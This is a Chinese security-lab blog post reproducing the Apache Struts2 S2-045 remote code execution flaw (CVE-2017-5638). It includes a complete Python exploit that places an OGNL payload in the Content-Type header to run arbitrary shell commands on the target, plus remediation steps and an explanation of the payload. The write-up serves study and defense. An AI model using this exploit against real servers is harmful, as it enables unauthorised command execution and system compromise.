Apache-Struts2-045复现

释放双眼,带上耳机,听听看~!

网安引领时代,弥天点亮未来   




 


0x00漏洞介绍


       Apache Struts2使用Jakarta MultiPart parser插件存在的远程代码执行漏洞。

       可通过构造Content-Type值构造请求数据包触发漏洞造成远程执行代码,受影响的版本包括:Struts2版本Struts2.3.5-Struts2.3.31,Struts2.5.10基于Jakarta Multipart parser的文件上传模块在处理文件上传的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在判content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达式的URL导致远程代码执行。



0x01实验环境

实验环境:

  • tomcat8

  • struts-2.3.31



0x02复现过程

# -*- coding: utf-8 -*-import urllib2import httplibdef exploit(url, cmd): payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial print(page) return pageif __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] struts2_S2-045.py <url> <cmd>") else: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') url = sys.argv[1] cmd = sys.argv[2] print("[*] cmd: %s\n" % cmd) exploit(url, cmd) //执行方式为在windows机器上命令行输入python xxx.py url cmd

可以看到ls –ld在目标机器(搭建了struts2-045环境的机器)被执行,把命令换成whoami,等等都是可以的,危害巨大。

exp参考链接:

https://www.jianshu.com/p/2d0edd5934ad 


0x03修复建议

1.将struts2的核心包 struts2-core-2.3.31,解压,打开default.properties文件

修改 struts.multipart.parser=jakarta struts.multipart.parser=pell

保存退出,重新打包生成jar文件

2.S2-045 漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求


0x04总结思考

通过#nike=’multipart/form-data’语句使得后台判断语句content_type.contains(“multipart/form-data”)判断结果为true,以便攻击代码得以传入。同时将攻击代码’pwd’赋值给#cmd参数。接下来(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})来判断目标主机的操作系统类型,并选择性的进行指令赋值,最终将攻击指令执行。


 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室


本文源自微信公众号:弥天安全实验室

人已赞赏
安全工具

逆向分析实战之LOVE

2019-10-18 17:16:39

安全工具

PHPMailer远程命令执行漏洞

2019-10-18 17:16:47

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索